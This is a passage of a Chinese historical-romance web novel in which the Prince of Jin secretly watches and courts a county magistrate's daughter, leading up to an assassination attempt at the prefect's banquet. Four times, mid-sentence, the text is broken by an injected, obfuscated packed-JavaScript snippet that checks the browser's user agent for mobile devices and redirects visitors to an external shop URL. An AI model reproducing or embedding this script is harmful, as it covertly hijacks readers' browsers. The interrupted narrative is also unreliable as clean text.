闵仪怜颔首，政令颁布后，临清地头田间一片热火朝天。爹比从前更忙，镇日随晋王一行人窝在县衙，她知爹这是心底踏实，高兴，不觉也跟着欢喜。 爹试着向晋王透露手里知府的罪证，对方一应全收，再不提邀他去府上宴饮之事。 但愿，东昌与她的小家皆似窗外晨阳，越发红火。 话说晋王宅中，李桓倚窗斜坐，捻一盏青花缠枝莲纹杯，啜饮香茶。 浓涩的滚汤灌入喉管，灼烧心肺。即便在冷清的后街，亦能听到小贩货郎含着喜气的叫卖声。临清水路通达，又逢佳节，晌午时河畔会更热闹。届时人连人缀成五彩斑斓的海，并龙舟比赛，自是一片盛世好繁华。 嘴角噙着讽意，他搁下茶杯，案边却是一沓拆封过的信。 公羊青雄缓步走进偏厅，手里提一包在外买的鲜粽。飞快扫一眼王爷冷淡的面庞，心头便知缘由。昨夜正是杨皇后忌辰，今日则是王爷曾被驱逐出京的日子。 他躬身请求：“王爷，用些吧。” 主子晨起未食，对方可以不吃，做下属的却不能不劝。 李桓却只摆手，侍立在外的仆从上前将粽子接过。瞧那一摇一晃的小粽，他又不合时宜地想起闵家。 这家人全然不像京师中的官宦人家，更不似地方乡绅。 闵守节这位县太爷，闲暇之余竟当起木匠，给小女雕刻木马漕船。连修补后院屋舍，亲自调和泥浆盖瓦片的事都干，仿若这些事十分得趣儿。家中仆婢寥寥，不知道的，还以为他这知县是泥瓦匠出身。 妻女更不必说，毫无官眷修养。 小姐婢子时常同睡一榻，父女间说话从不懂避嫌，除去朝事，竟连这些可笑之事也能频频在书室提及。 譬如那怜姐儿幼时玩泥巴糊了一脸，姚氏得意的让丈夫画下来贴在堂中观赏；其与几个表弟妹随外祖去闽地，因贪吃闹肚子，事后查阅书籍换法子吃，依然肚痛不止。 好在闵氏善诗书，懂乐画，不至让爹娘教养成市井顽妇。 过去每逢节里，一家人皆净手下厨。后来闵守节忙于公务，此事才渐罢。 微愣回神，李桓唇角捋平。来山东近两月，他的母妃连一封信都未曾写过。 他终于开口：“先生，坐。” 撩袍坐在旁，公羊青雄觑一眼小案上叠厚的密信。除第一次，近日的信王爷未曾给他看过。政令推行尚算顺利，闵守节在其中出力颇多。王爷待其态度，没有料想中冷淡。 李桓目光沉静，冷黑的眸瞥向他：“我那皇兄，近日如何？” 公羊青雄依言答：“庆王表面一切如旧，只山东与京师来往的信件越发频繁。” 手掌略收紧，浓黑的眉却舒展，李桓重新执起茶杯，捻在两指间微微摇晃，猝然道：“他倒沉得住气，相较从前甚有长进。” 言罢，那双黑漆漆的眸子倏然一挑，语调忽携几分兴味：“端午佳节，不如温一壶酒，去闵知县府上凑个热闹？” 府宅与县衙后院不过隔一条街，二人不带随从上门，着实叫闵府管家吃惊。他认得公羊青雄，低眉顺眼，不敢胡乱猜测后面那位的身份。 管家一面恭敬引路，一面差人去书室提前报信儿。不料公羊青雄却一抬手，叮嘱：“不必特地禀告，将吾等带去即可。” “这……” 管家大气不敢出，不敢随意应声。先前几次公羊先生来，老爷对其礼遇有加，他怎敢拒对方的意。可有客来访，哪有不告知主人家的？那得是十分亲密要好的亲眷友人，后面的郎君必是朝中大员，闵家没有慢怠客人的仆从。 见公羊先生若有似无地扫视一众仆从，他只得先硬着头皮在前领路。临到院门前，又想张口给老爷通个气儿，那男子却沉声道：“退下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058254|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 在那锐利眸光的逼视下，管家只好拱手后退，一直退到几丈外。 院门开着，李桓径自踱步迈入。 老树虬枝，满园草木稀疏有致，虞美人、石竹、雁来红簇着一池锦鲤。院墙落漆，藤蔓攀爬，墙角不拘于花种，一丛丛红白相间，自成一景。 书室隐约传来低低的人声，略扫一眼屋檐，李桓负手站在院中。屋内的父女浑然不知，正一坐一立，闲话间恰提及外面某人。 站在博古架前，余光瞥见搁在案几上的一个画匣，闵仪怜取出卷开，原是一卷花鸟画画稿。她一口清脆的嗓音：“爹，这是？” 闵守节淡笑：“这是晋王身边那位公羊先生赠我的，我二人偶会交换画稿赏阅。他的确，是个妙人。” 细细端详画稿，闵仪怜明澈的眼底透出讶色。其实父亲更喜范公一派雄厚端庄，气吞山河的山水画。若不是此画实在太好，想来他也不会收在书室便于随时赏阅。 多看了会儿，她不觉赞叹：“没承想晋王冷苛，他身边的长史却心细如发，胸中亦有绵软之处。” “怜姐儿，从前是爹的疏忽，日后在家中也当慎言。”近日与公羊青雄共事，闵守节思绪愈发活络。上次议论权贵已是大逆，本朝告密之风盛行，京中还有神出鬼没的锦衣卫。 若这是在顺天府，说不定第二日他就被捉了去。 切记，切记啊！ 握着匣子的手一紧，闵仪怜颔首：“是女儿放肆，说话有失偏颇。” 临清本地乡绅豪族刁蛮，关系盘根错节，多徽商晋商客居，先前又有知府在其中挑拨。若不是晋王态度强硬，事事亲躬，将一众官员治得服服帖帖，又不知有多少百姓会在政令的漏洞下失去田产。 眼见时辰不早，父女二人准备出门。 仔细收好画，闵仪怜婉转提醒：“日后那位大人再有画，爹也请让女儿看看吧。这画，极得我心意。” 推门出去，她脚步倏然顿住，霎时撞进李桓眼底。 只见那少女清雅灵秀，杏面桃腮，眼如点漆。略施粉黛，乌鸦鸦的髻上缀一朵红石榴。迷蒙看去，恰如江上的烟霞。 乍然撞上生人，闵仪怜只初时眼底掠过惊疑，旋即屈膝行礼，快步沿连廊绕路。裙角一荡，绰约倩影彻底消失在花木后。 寸寸收回视线，李桓面无表情地盯住，站在门框中，神态呆然的闵守节。 直至拧在背后的视线消失，闵仪怜才稍缓急碎的步伐。方才匆忙，不过扫到一道颀长飘逸的人影。那男子虽是生面孔，又着常服，但绝不是临清乃至东昌的官员。 比父亲官职低的她大都识得，若比父亲高不大可能亲自登门，甚至自降身份候在外面。这分明就是故意为之，依其作风年岁，极有可能就是晋王本人。 他站在院中多久？ 方才的对话可曾全部听清？ 额间瞬时浮起冷汗，刚出院门，又撞上一位含笑的老者。 5. 世子 雨后的天景明秀空濛，满院春色，花窗中正有一幅美人图。 侧坐在罗汉床上，闵仪怜撑首览望天井。乌黑的眼仁透出异色，幽幽凝视碧瓦坠下的残雨。 嘀嗒，嘀嗒。 那日匆匆跑回自己的院子，翘首以盼等消息，后来一家人依旧热热闹闹沿河走一遭。依爹所说，晋王携酒而来，肆意洒脱，闲话几句翩然离去，并无责怪之意。 爹还宽慰，晋王若真降罪势必当场发作，叫她莫放在心上。只是每每想起粘在后背的眼神，还是觉得怪异难受。 懊恼自己的口无遮拦，她打定主意要更警醒，勿再卖弄。 爹隐晦透露知府大祸将至，想躲回州府却不得，镇日对下属横眉冷目，发泄脾气。想到这只吸食东昌多年、长久压在爹头上的胖蚂蝗终于要被晋王的利刃劈成两截，她的心情竟奇妙地好转。 片刻欢喜后，又莫名迷茫。 叫小厮套上马车，她带小婢梅川香，并一个婆子出门。预备打三套精致头面，几条金腰带，一只手镯，再裁些时兴衣裳备着。待外祖父全家迁来，恰同她亲手绣的药囊一并送过去，两姓人手一只，好生热闹热闹。 万宝阁虽是近两年才开张的新铺子，却因首饰精巧，款式独特深受一众官眷富户追捧。它不在人来客往的宽阔街道，二层小楼的铺面反倒开在巷前。 闵仪怜先去隔壁的布店，抬脚迈过，忽见一人拢袖站在门前。脚步顿住，她福了福身。公羊青雄颔首，身形一闪，旋即走进对面的茶馆。 提裙踏上万宝阁二楼，约见大师傅商讨款式，闵仪怜秀眉含愁，有些心不在焉。待事了，楼下隐约传来喧闹声，似有人在商量购买东郊的良田。 直至听到知县二字，闵仪怜临窗垂首，楼下立一名穿柳青直身的年轻公子。他正被二人前后夹住，其中一人催促：“兄台，我手中契书齐全，只需签字画押，十几亩上好的水浇地就是你的。” 另一人也打包票：“别说你我此等小人物，就是县太爷也干过这些行当。试问这里哪位大人，私底下不想方设法置地购产，不信你去打听打听，他名下的庄子都是如何来的？眼下风声虽紧，哥哥我这里可是有门路的。” 青衣男子怀疑问：“知县？” 二男齐齐点头：“别看闵知县在临清官声不错，那背地的弯弯绕绕可就多了，你是外地人，初来乍到自不清楚。他自个儿清白，可三个妻兄经营各业多年，颇有手段为他笼络钱财。你只管去问，他在老家又有多少产业。如何，这笔买卖可做的？” “呸！” 一口唾沫从天而降，其中一人抹脸，仰头寻找，就见一个俏生生的小丫头站在二楼。瞧着不过十五六岁，正是嫩柳鲜花的年纪，登时两眼滴溜溜打转，话中带上几分轻蔑。 “你这姑娘也忒泼辣了些？当心哥哥我上去，找你家主子将你买回去做洗脚丫头。” 梅川香小嘴儿啧一声，单手叉腰一俯身，抓着栏杆问：“当街议论县太爷，当如何？” 另一人吃吃笑问：“可曾有谁听见了？别给自己惹麻烦，届时只怕你一小婢吃不消。还不进去，小小年纪收敛些。” 梅川香却不惧，也格格回笑两声，倏然又端起大户婢子端方懂礼的架子，斜睨二人，才看向那名男子，先字字清晰，语调铿锵地讲明本朝土地买卖律法，才问：“《大周律》中明明白白，辱骂知县当受杖责。我与家中婆婆听得很清楚，你二人无可抵赖，且你们方才不是说手中文书齐全，有何可惧？有胆量就与我去县衙走一趟，当堂理论，看你们说的水浇地是不是当真过了明路。别不是绝卖，而是有什么说不清道不明的阴私勾当！拉出县太爷的名头哄骗外乡人，辱没临清的名声。” 杨俭仰首，说话的女孩儿用红发带将辫子绾在头顶，斜插两根银叶钗，脑后乌发披散。穿豆绿褂子，织金马面裙，长得娇娇俏俏，口齿伶俐很是大胆，不似普通人家的婢子。 他索性不出声，想瞧瞧这小婢女还能说出什么，其背后的主家又是谁。 其中一人恼声：“你这小女子真是胡搅蛮缠！兄台，若还有意购地，我们换地方谈。” 杨俭却不动，顺势扯住那人，朗声回应：“这位姑娘说得有几分道理。谁都知道，官府近日对卖地购地管控极严，稍有不慎吃了官司，多年积攒的身家岂不要交代在你二人手中？烦请姑娘下来，助在下理理如何买地，若事成必有谢礼。” 那二人登时慌神，奈何杨俭孔武有力，牢牢擒着他们的手臂，痛得二人面目扭曲，他依旧一副屹然不动的闲适姿态。 俏脸一热，梅川香羞臊，她虽然粗略知道些律法却并不精通。方才还是小姐同她说的，真下去岂不是闹了笑话，嘴一撇：“这些事你当找牙人去办。” 末了又小声嘀咕：“怎得找我，真是奇怪。” 觑见楼上小婢想回头求信儿却又忍住，杨俭偏生好奇，明澈的眸射向二楼门窗。正欲再试探，却有一个轻柔却不容越界的声音响起：“好心劝告几句罢了，公子若真想购置上好的田地，我可指一个去处。” 须臾，又有一个健壮婆子下楼，一身打扮亦妥帖整洁，言明可带他去那地儿。 敛唇轻笑，杨俭腕肘猛地一扭，抬臂用一根带子将二男捆住，略略颔首：“多谢小姐美意，有了地址我自去便是。” 站在楼阁，眼见人越走越远，闵仪怜才上马车打道回府。 梅川香好奇问：“小姐怎知那人不寻常？” 闵仪怜掀起眼睫，瑰丽的眸酝着幽色：“川香，你觉他如何？” 明白小姐有意引自己思索，她小嘴嘟着，大眼睛转向闵仪怜：“那男子生得英武不凡，身量高大，瞧着就不似普通行商，倒像归乡的兵士。甚至，像是家里有人做官儿，说话底气十足。可其身上的衣裳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058255|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、鞋靴并无疏漏……那他？” 捋平衣裙上的褶皱，闵仪怜眸光澄亮：“那人气度，与我先前所见的勋贵相比也不相上下。若他当真藏着身份，以买地为由探查政令推行事宜，那么刻意提起父亲的两个人，又会是谁派来的？” 梅川香脸蛋儿煞白，低低恨声：“定是那些想坏老爷官声的人！” 如此时机，根本就是打着要老爷死的心思，实在可恶又阴险。天爷，一定要报应在那人身上！ 闵仪怜叹声：“多事之秋，许是我心思过于敏感。若他就是一个普通行商，权当结一份善缘。他若去，会明白爹的为人。” 那处铺面附近有一座孤老堂，爹平日用私产贴补不少。她便是刻意让对方发现，也只想保护自己的家人。最奇怪之处，正是公羊长史好巧不巧出现在附近，此事就更要谨慎对待。 雨后的气息清甜，公羊青雄步行回到府邸，面见李桓时并没有提巧遇闵小姐。还携着湿气，他揖手禀报：“王爷，杨世子的确来了。” 杨俭，乃宋国公嫡幼子。 他本还有一位长兄，数年前因病亡故，他方受封世子。杨俭祖父曾陪李氏先祖打天下，国公之位得以世袭。其父册光禄大夫，堂兄官居兵部侍郎，其姑姑正是已故的杨皇后。 杨家虽低调，家中子弟鲜少入朝，仍是一等一的望族。 丢开游记，李桓冷着眸道：“杨俭此次必是奉父皇的口信，借故来临清探我的底。刚入东昌就被盯上，想通过他攀诬闵守节，这种伎俩……实是上不得台面。他虽单纯，却不是任人哄骗的蠢物，身边定还跟着父皇的亲信。派去县衙后院的人，先撤回来。” 父皇，这次又想将皇兄摘出去吗？ 公羊青雄垂首回：“若无在京师的叔叔庇护提拔，那人怎么可能在知府任上安坐多年。他犯蠢，于王爷自是好事。不如寻机会，激一激闹出动静，伺机将其下狱，后面的事情就更好办了。” 届时再顺理成章剪除户部那位，就算皇上有心庇佑，庆王栽这么大一个跟头，怎么可能不反击？ 眼下要的就是对方反击，才有机会抓住把柄。 商讨良久，再抬头已过用饭的时辰，公羊青雄关切道：“王爷操劳，我命人备一桌酒菜。” 料想杨俭也该上门拜访，李桓颔首，吃一口茶，忽而问：“先生觉得，闵守节的女儿如何？” 瞬间猜到王爷的打算，公羊青雄顺势答：“得王爷青眼，是闵知县的福分。” 也的确是他的福分。 旁人敢忤逆王爷的意，不出多时就会落得死无全尸的下场。这么久了，人非但还好端端每日办公，王爷依旧打算将他收入麾下。眼下，竟又动纳他女儿入府的心思。 至于闵氏，究竟是粗鄙还是端庄，离经叛道还是恪守女戒，生得是美是丑，全已经无所谓。 扫一眼游记，李桓弯了唇角。 6. 窥视 闲暇无事时，闵仪怜喜欢去书肆挑旧书。著者大都穷困潦倒，毫无名气，或因失意或生活所困，再不书写，残书几经周转被清售。这类书一贯无人问津，她却能从中淘到几本得心意的。 其中有一本叫《潘同杂记》，她只寻到上册，心里喜欢得紧，三两日就亲自去问一回。一日又去城南的旧书铺，甫一跨过门槛，老店主满脸堆笑地迎上来：“闵小姐，实在惭愧。昨日那本杂记的下半册刚到，就有位客人一眼相中，当场就付了钱。开门做生意，岂有拒绝之理，店中还有一些杂记，您可要看看？” 闵仪怜不禁遗憾，张了张口，还是宽慰：“无妨。” 对方亦是爱书之人，无缘莫强求，她也只能放手了。 不想间隔数日，店里的伙计特地去县衙后门，请她得空去一次。她立刻前往，原来是那位客人又来选书，店主经不住说起此事，大赞闵小姐对杂记的痴醉。客人听罢，亦动容相惜，于是提出一个折中的法子。 客人愿意将杂记外借。 正巧对面有一座茶楼，其人又爱听说书，闵仪怜就在包间誊抄，当日归还，第二日再借，大抵半月就能抄完。 她大喜，不由福身：“店家好意，我怎会推辞，每日茶钱也该由我付。那位在何处，我想当面拜谢。” 店家一指茶楼，含笑：“小姐多礼。今日那小厮就是从对面出来的，想必此刻人还在，您可遣一名仆从去瞧瞧。” 听罢店家描述小厮的穿着，她忽而问：“对方是男是女？” 飞扬的眉毛顿住，老店家也犯迷糊，“那位客人身形瘦小，说话软绵绵的。虽是男装打扮，在下却觉不似男儿。” 闵仪怜抿唇，自去了茶楼。刚入内，便见楼梯口有一名相貌清秀的小厮焦急地左顾右盼，一看见她们，疾步过来，热情地指着头顶一座包间，“方才在窗前看到小姐与店家交谈，小人没有认错吧？我家主人不喜见外客，实在抱歉。主人在包间隔壁也给您订了一间，今日就可在此抄写。” 闵仪怜颔首，从腰间荷包取出银锭，捧给对方：“无以为报，请收下吧。” 小厮笑了笑，接了，“我家主人客居临清，半月后就会离开。意外购得此册，无意与小姐争夺。主人说既都是爱书之人，索性结个善缘。” 时间紧迫，她令自家仆从回去取纸笔，顺便请示爹娘。待人赶回，才与梅川香走进包房。楼下虽热闹，她却不被搅扰，少顷，又是那小厮将书送来。 下半本《潘同杂记》乃著者病重时所写。损污严重，纸面泛黄卷曲，有缺页儿，漏字，若誊写的确也要费一番工夫。梅川香照旧磨墨，铺纸，坐在旁看小姐写字。提笔，闵仪怜瞥一眼隔壁，开始抄写。 然此绝非一日之功，初开头，有些地方只能空字，缺页儿。待午时回去后，再细细思量。如此约莫过三五日，她一日不缺席。 小厮递来杂记时，又多给一本小册。他解释：“我家主人阅读此本时，亦很苦恼。做了一些注释，希望能与小姐探讨。” 将册子收下，闵仪怜关门，又看对面的木壁。第一日她提出愿将上册也交换抄写，对方却没有回应。 也许是一位孤寂腼腆之人。 究竟是男子，还是女子？ 坐回位置，她不觉先翻开注本。 梅川香在旁衷心称赞：“好漂亮的字。” 闵仪怜亦顿住，《潘同杂记》讲的是两广的民俗、饮食、山水与文人杂事。此人竟能将缺字补足，缺页也有自己的理解添加。 当真，想见一面了。 站在纱窗侧后方，李桓看对面提笔书写的女孩儿，她垂眉敛目，神态端肃。瞥眼旁边相貌阴柔的暗卫，踱步离去。 如此，二人隔墙通信。夜里由暗卫代劳书写，李桓口述。有时闵仪怜突起疑惑，想隔门询问，对面却不作声。 久而久之，她反倒觉得是自己太唐突，于是将疑问整理在纸上，请小厮传递。 她写好的纸，梅川香亦会坐在旁捧读。有时半日无声，二人乐得自在。 梅川香会暗自想，对面八成是近日随夫来经商的女眷，因身份才不便露面，扮作男子在外行走，因为太太以前也做过这种事。其人阅历远非小姐与她能比，心里十分佩服，更万分庆幸。 她祖上几代都是贫农，家里姊妹兄弟六人，不得已将五岁的她卖给人伢子，是太太将她买回陪伴大小姐。闵家人口简单，家境富裕，待仆宽仁。能跟在大小姐身边侍奉笔墨，读书识字，只觉幼年的苦都能咬牙咽下，还没有白白来此世间走一遭。 所以，她也要学小姐，不虚度光阴，把握一切机会学习。 终于翻至末尾时，字体扭曲，排版潦草狂乱，著者最后病亡。抚摸喷洒的血迹，闵仪怜看向最后一页的工尺谱，这曲小调却是完整的。语调哀怨，却不知是写谁，又是什么故事。 她轻轻哼吟，终究觉得可惜。若著者还在，这本《潘同杂记》本该还有第三册，就是收录当地的民谣。 她唤：“川香，我们今日提早回去，将它学会。” 梅川香羞涩：“小姐，你知我音律学得最差。臊得慌，别……” 闵仪怜却牵过她的手，“可你有一把好嗓子，回家。”二人提早离开，正巧撞上隔壁走出的人。那背影娇小瘦弱，依旧辨不出男女。梅川香一喜，本想去拜谢，却被自家小姐拉住。 闵仪怜看了许久，才登车归家。 另一辆马车与其擦过。公羊青雄下来，近日王爷偶来茶馆，三五日一次，每次留半个时辰。 原来是这个缘由。 迈步二楼，他进了包间。说起知府欲办宴席，同时请了王爷与世子。 背手看楼下的车马，李桓下令：“那就去。” 是时候该结束了。 父皇有五子一女，长兄庆王为贵妃所出，母子二人深沐天恩多年。二皇兄礼王是跛足，其母早已过世。四弟五弟尚年幼，生母家世宠爱俱平平。 唯一一位皇妹乃已故的杨皇后之女，极得父皇爱重。当年皇后收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058256|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养他后才有了妹妹，若非那些事，依礼他该称杨俭一声表弟。 呵，表弟。 最后一日，闵仪怜含笑：“昨日已全部抄完，所以今日我便不留了。以及……”她另取出一本册子，“这是我誊写的上半册，还请交给你家主人，代我谢过她的美意。” 小厮也笑：“这事小人不能代劳，小姐不如亲自见主人一面。” 闵仪怜挑眉，与梅川香对视一眼，移步去隔壁。甫一进门，内里燃着熏香，有些沉闷的味道。 她脚步停顿，屏风后透出的高大身影，显然是个男人。 李桓坐在椅内，眸色黯然地凝视对面纤细的人。 兀自笑了笑，闵仪怜先前请母亲打听过近日来临清，善诗书的夫人小姐们，始终不能确定是哪一位。原来，从一开始就错了。 男子也好，女子也罢，彼此的相惜之心为真。 她道：“这是我抄写的《潘同杂记》上册，请收下。” 那名暗卫从屏风后走出，目光阴恻恻的，他露出正脸，虽生得雌雄莫辨，但有不明显的喉结，分明也是个男人。梅川香吓一跳，下意识就想跑，然看小姐还站着，才生生忍住张口喊的冲动。 这伙人太奇怪了，躲躲藏藏不说，背后的主家竟还是个男人！若非家里的健仆还在外等候，她当真会怀疑其人的龌龊心思。又念及那俊秀飘逸的字，精准地剖析，认定这是文人怪癖，是不想因男女大防失去一位书友，才遮掩身份。 不要往坏处想。 是的，对方只是想与小姐讨论诗书罢了。 接过闵仪怜手上的册子，阴柔男人道：“小姐若想感谢我家主人，不若奏一曲小调。” 梅川香听着，心里咕哝，当她家小姐是街头卖唱的歌女吗？竟如此失礼！ 屏风后的男人始终未动。 闵仪怜却未推辞，反问：“我擅琴，就选……杂记中的这曲罢。不知你所擅又是什么？” 对面噤声，良久，竟真从外搬来两架琴。闵仪怜大方坐下，先起了头。 一曲毕，盯紧她远去的背影，眼睇戏谑散去，李桓默然无言。末了，竟也弹奏一曲。 “小姐，我看这些人就是不怀好意。”马车里，梅川香后怕，“回去定要告诉老爷，查查他们从哪里来的，怎么如此大胆。” “萍水相逢，这半月的欢愉是真的，他教授我们的也为真。总归，日后不会再见了。”闵仪怜反来安抚小婢女，“你呀你，方才的神态全写在脸上，若对方真是歹人，该如何是好。说起来也是我大意了，本想着茶楼人来客往，又是过去常去的地方，他们不敢行恶事。” 梅川香讪讪：“小姐，我多学着。保证日后就是皇帝陛下站眼前，都不抖一下！” 闵仪怜逗她：“你这话，是与慈音学的吗？” 笑过后，她挑起帘子回望。近日来临清的官员奇多，方才的氛围让人极不舒服。 多事之秋，莫要招惹是非。 以及，心底竟有些怅然。 7. 宴会 天色尚早，府里已张罗起来。 此次知府特地接家眷来临清，不好明面为宋国公世子接风。于是令夫人办一场赏花宴，邀各官员家中女眷前来，也在外院置十几桌席面接待男客。 日头高升，流云如烟。 一时间，各家官眷聚在府门前。由仆从打起车帘下马寒暄，三两凑成一簇。女眷们穿得桃红柳绿，满眼珠翠钗环，葱绿的裙儿，鲜红的薄衫，彩衣荡在风中，比拂柳还要翠嫩。 同母亲从马车下来，闵仪怜由仆从引着一路迈步内庭。宴席未开，晌午闷热，女眷们都躲在花厅说着巧话。 知府夫人戴金丝髻，一整套宝石头面雕工极精。柳绿色大袖衫，深色的织金马面裙。雍容华贵又不失亲和，她被围在中央，听着妇人们的恭维话。 远远瞧见闵家母女从门前经过，她冷冷一敛眉，眉宇间隐含愠色。 闵仪怜才不想进去触眉头，白受冷眼，携姚凝坐在游廊下。偶有微风荡过，捎来清幽恬淡的香气，树梢鸟雀叽叽喳喳，倒也悠闲自在。 有几家临清小官的夫人围坐过来，几位夫人俱已三十出头，膝下儿女与闵仪怜同龄。闲话间大方打量站着的亭亭少女，嫩柳般挺拔的身姿，姿态娴雅，容貌清绝。不由心思活络，面上含笑。 姚凝莞尔：“待天气彻底暖和，南方的清茶也该到了。我在家中办一场诗会，叫孩子们聚一聚。” 双手交叠在身前，闵仪怜唇角挂上清浅的笑。直至梅川香捧来一碟点心，她才在母亲的示意下独坐在旁，赏望一池荷花。 外院更为热闹，皆因晋王与宋国公世子都来了。 二人一前一后，李桓谦和矜贵，萧萧肃肃，稍快半步受左右官员的拜礼。杨俭俊朗英迈，却也脚步稳健，面色平和。 众人入席，知府立时举杯，巴巴吹捧晋王辛劳还肯赏脸赴宴。又赞世子年少英才，深得皇上信重。此次来东昌，必当招待得宜。 席上有鲜虾鲈鱼，烤鹅乳鸽，庖厨亲自操刀，一片片烤猪肉被放入碟中。有笋丝、腌鸡爪并清汤解腻。又有广东的新鲜果品从水路运来，箱笼里置入冰块，放入碟中还新鲜嫣红。 诸人推杯换盏，喝酒吃菜，氛围倒也融洽。 知府难得踌躇，这两月他实是被晋王一把细刀翻来覆去地碾，碾得提心吊胆，连爱妾那处也不去了。偏这刀一直悬在颈上，不知何时才会落下。向叔叔求助，叔叔却反过来斥责他无用，现在自身难保要弃了他。 想摆宴席求情讨饶，请晋王放他一马。晋王却一直不冷不热，他渐也看出来，对方就是要撸他的官帽，就是要他的命，这事儿无可转圜。 他恨极却也无可奈何，一旦晋王回京，他必定人头不保。没承想杨世子来了，若能搭上世子的线，或将世子也拉入浑水，他就不信晋王还能无所顾忌地将罪证呈交入宫。 挺起圆滚滚的肚皮，他满面堆笑地朝杨俭走去。 杨俭正坐在次席，捻着瓷杯独自饮酒。见他搭话，也只淡淡颔首，偶回应一句。浓密的眉如刀锋，两眼目视前方。 知府粗肥的手指死死攥紧酒杯，杨家豪门望族，世子不喜钱财，不纳美，对书画古董亦不感兴趣。先前送去的名刀也被退回，简直油盐不进！ 浮肿的眼睛扫向上座，他眼含阴狠，猝然发现李桓也在看他，那张沉静的面庞冷冷淡淡，眼中却含和煦之色。 惊惧之下，他不顾仪态地别过脸，额冒虚汗，悄然瞥一眼暗处。 惊变突起，一支利箭从暗处射来，直朝李桓后脑冲去。破风声掩盖在觥筹交错中，杨俭却耳聪目明，猛一扭身将酒杯狠掷去。在碎裂的瓷片中，抬靴踹飞下一支羽箭。 顺势扣住一只金托盘，破风声过，他跨步直砸在那意图遁逃的刺客面门。那人登时头昏脑胀，慌不择路地翻上屋檐，欲借此逃到街上。 杨俭踏墙跃起，在房顶斜走，张开五指擒住刺客右臂。没承想那人近身搏斗亦不逊色，又是被逼入绝境的亡命之徒，有多年功夫在，一时没被拿下，反而利落脱身，几个来回飞快滚向后院。 场面已然大乱，众官员面色从迷茫到青黑又到如今的忧惧。知府面如猪肝，在那双逼人眼眸的碾压下，大气不敢出喘，只匆忙命府兵助世子抓捕刺客。 咽下最后一口酒，李桓悠然起身，今日有府兵以及伏在暗处的护卫，对方本就是砧板上的鱼肉。没想到半路杀出一个杨俭，竟将人驱逐到后院。 扫过人后面色发沉的闵守节，略一怔眉，他旋即下令：“走。” 后院花团锦簇，女眷们素手执杯，品着酸甜的果酒。贵妇矜持地用绸帕点在唇角，年轻些的小姐们围坐一桌，脆生生说着俏皮话。 闵仪怜不喜酒，平日只饮一点就会头脑发沉，只小口啜饮甜汤。宴席吃得差不多时，知府夫人派一个仆妇过来，命姚凝进花厅。她忧心母亲，手背却被轻轻一拍。 姚凝温和敛笑，大步朝前。已迈过门槛，她忽听院角有一声极轻的声响。 一片瓦摔裂成几瓣，紧接着，一个半身染血的人从上面滚下来。 凄厉的尖叫陡然响起，闵仪怜也转目，便见一粗壮汉子执长弓，满目猩红，周身血腥味骇人。乍见满园女眷，眼底竟划过暴戾的笑，当即一个箭步冲杀过来。那名尖叫的小姐当即被他用弓弦抵住脖子，整个人被擒在歹人怀中。 歹人近在眼前，一桌年轻女眷先乱。那人还想再多抓几个，一脚踹翻桌椅，汤汤水水登时落满地。 钗环凌乱，一张张碎裂惊恐的脸左右飘飞，闵仪怜后退两步，回过神先扫一眼花厅，旋即扯住已震住的梅川香，想顺势躲进屋中。 花厅内，知府夫人大惊失色，又急又厉地命仆妇将门紧闭。她头上花钿都松散开，在屋内踱步，命人将窗户也堵死。 姚凝神色颇急，要去看女儿的情况又不能撞门。顶着知府夫人要吃人的眼神，看到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058257|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扇窗能翻过后堂，还能再从月洞门绕回前门。爱女心切，也不想自己能不能拦下，当即提裙跳了出去。 “找死！”知府夫人血红着眼冷笑。 大门被歹人堵着，四下门屋紧闭，一群后宅妇人无头乱窜。闵仪怜抓着梅川香的手臂退至廊下，想躲在花丛后避一避。岂知后面奔来的一名妇人不慎踩到裙角，人挤人乱哄哄一片，当即像绽放的花骨朵倒满一地。 双脚被压，四周俱是人，眼见歹人跨步靠近，闵仪怜心下大惊，一时不敢出声，生怕先被拉出去。梅川香满脸惊恐，已失声落泪，挤着扑倒在小姐前面，胡乱张开手臂，绝望闭死眼睛。 